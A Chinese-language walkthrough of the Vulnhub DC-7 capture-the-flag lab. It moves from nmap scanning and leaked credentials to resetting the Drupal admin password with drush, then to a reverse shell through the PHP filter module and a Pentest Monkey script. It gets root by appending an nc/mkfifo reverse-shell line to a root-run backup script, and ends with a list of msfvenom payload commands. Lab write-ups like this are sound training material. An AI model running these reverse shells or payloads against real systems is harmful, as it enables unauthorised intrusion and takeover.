DC-7 渗透测试 Walk through

信息收集

使用nmap工具对 靶机IP :192.168.16.234 进行扫描
nmap -sS -sV -A -p- 192.168.16.234
IMG_256
扫描到开放22、80端口 , 80端口对应于drupal 8 、 apache 2.4.25服务
继续,按照之前系列的思路,我们需要对主机进行子网页或者用户名进行枚举。
因此,不浪费时间,我们打开了一个Web浏览器来探索HTTP服务,然后DC:7-欢迎页面在浏览器中打开,
IMG_256
给了我们一个提示,要”打破常规思维“,而这个提示可能与互联网有关。
在这个网页的末尾,我们注意到另一个提示“@DC7User”,这可能是任何可能的用户名。
IMG_256
在尝试了一些简单的思路枚举用户和密码以后发现没有可能 , 再结合提示将@DC7User 直接将用户名放在谷歌上搜索
发现一个推特用户
IMG_256
并且连接一个github的用户,点进github用户中发现唯一个项目,检查该项目下发现一个config文件并看到密码
IMG_256

1
2
Username: dc7user
Password: MdR3xOgB7#dW

远程ssh连接上拿到shell

1
ssh dc7user@192.168.16.234

IMG_256

渗透 Exploiting

一开始,寻找目录列表,找到了一个名为“mbox”的文件,其中包含一条收件箱消息。该消息的主题是/opt/script/backup.sh,深入挖掘一下。

1
2
cat mbox
cat /opt/scripts/backups.sh

IMG_256
在backup.sh中,注意到它使用了Drush,这是Drupal Shell的缩写,是一个用于与Drupal CMS通信的命令行实用程序。
gpt对drupal的介绍
IMG_256

发现drupal存在能够重置用户密码的命令

1
drush user-password admin --password=123456

IMG_256
成功更改admin用户的密码为123456 , 在web进行一个登录。

1
http://192.168.16.234/user/login

IMG_256
在网站上进行一番收集之后 , 发现版本确实为Drupal 8.7.x ,下一步是建立一个反向 shell。php-reverse-shell 似乎是一个可行的选择。
问题是我们如何在Drupal上上传 PHP 代码呢
WordPress的经验告诉我们,主题、模块和插件通常是典型的入口点。于是我决定做些研究
在谷歌上搜索到drupal-to-reverse-shell的文章
这篇文章通过启用一个名为 PHP 过滤器的 Drupal 模块来实现反向 shell。
PHP 过滤器核心模块已经从 Drupal 8.x 的核心中移除。
不过我们的受害者机器正在运行 Drupal 8.7.x,不包含 PHP 过滤器模块。但是浏览器提供了接口支持手动安装!

1
https://www.drupal.org/project/php

这个链接包含一个 .tar.gz 下载,可以直接作为管理员上传到 Drupal。
IMG_256
安装成功 , 在extend中再把php filter勾选并安装
IMG_256
现在使用Pentest Monkey的PHP脚本,
reverse shell backdoor.php,将其注入为基本内容。别忘了添加“监听IP和端口”以获取反向连接。继续将“文本格式更改为PHP”并启用发布复选框。保持Netcat监听器打开以接收传入的Shell。

1
2
3
4
5
6
7
8
9
10
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.16.98'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

当一切设置正确时,点击预览按钮,你将通过Netcat获得反向连接。
IMG_256

提权

首先我们获取可交互的shell
IMG_256
我们已经获得了以www-data身份的Netcat会话。检查一下 /opt/scripts/backup.sh 文件的权限,你会注意到,www-data用户具有访问或修改此文件的所有权限。可以尝试通过修改源文件的内容滥用用户文件的权限,以提升权限
IMG_256
如上所述,我们将尝试滥用对脚本分配的可写权限。因此,我们使用msfvenom生成一个恶意代码片段,以获取Bash shell。
IMG_256

1
echo "mkfifo /tmp/mqvlx; nc 192.168.16.98 8899 0</tmp/mqvlx | /bin/sh >/tmp/mqvlx 2>&1; rm /tmp/mqvlx" >>backups.sh

现在复制生成的代码写入backups.sh,并在新的终端上启动另一个Netcat监听器。
IMG_256
成功拿到root权限和最终flag
IMG_256

总结

过程

  • 在Vnluhub DC-7渗透过程中,首先进行了网络扫描,使用了Nmap进行主机扫描,发现了一个开放的端口80,该端口运行了Drupal CMS。通过浏览网站,找到了一些有趣的线索,包括一个指向”outside the box”的暗示和一个潜在的用户名”@DC7User”。
  • 进一步进行枚举时,发现了一个名为”mbox”的文件,其中包含一条收件箱消息,提到了”/opt/script/backup.sh”。通过SSH连接到主机,获取了tty shell,并进行了目录遍历,发现了备份脚本。
  • 由于Drupal 8.7.x版本中移除了PHP过滤器核心模块,为了实现反向shell,决定手动安装一个模块。通过下载.tar.gz文件并上传到Drupal,成功安装了新的模块。
  • 利用Pentest Monkey的PHP反向shell脚本,成功注入为基本内容。通过设置监听IP和端口,并将文本格式更改为PHP,最终点击预览按钮,成功获得了反向连接。
  • 利用www-data用户对/opt/scripts/backup.sh文件的写入权限,使用msfvenom生成了恶意代码,获取了Bash shell,并在新的终端上启动了另一个Netcat监听器。
  • 总体而言,通过深入的枚举、渗透测试和利用漏洞,成功地获取了对目标系统的控制权。渗透测试的关键是不断的信息搜集、利用发现的漏洞,并谨慎地提升权限,确保在渗透过程中保持隐蔽性。

msfvenom工具的介绍

msfvenom 是 Metasploit 框架中的一个强大工具,用于生成定制的恶意代码,如shellcode、payloads等。它的主要功能是生成各种用于渗透测试和攻击的有效载荷。
使用举例:

生成反向TCP Shell:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port -f exe > reverse_shell.exe

这个命令将生成一个Windows平台下的Meterpreter反向TCP Shell。

生成Linux反向Shell:

1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=your_ip LPORT=your_port -f elf > reverse_shell.elf

这个命令生成一个Linux平台下的反向Shell。

生成Web Shell:

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port -f raw > web_shell.php

这个命令生成一个Meterpreter反向TCP Shell的PHP Web Shell。

生成DLL Payload:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port -f dll > payload.dll

这个命令生成一个Windows平台下的Meterpreter反向TCP Shell的DLL文件。

msfvenom 的语法非常灵活,你可以根据具体需要选择不同的payload、平台、格式等参数。
通过使用 -h 参数,可以查看更多的选项和支持的payload。

请注意,在使用 msfvenom 生成恶意代码时,务必遵循法律规定和道德准则,并且仅在合法授权的环境中使用。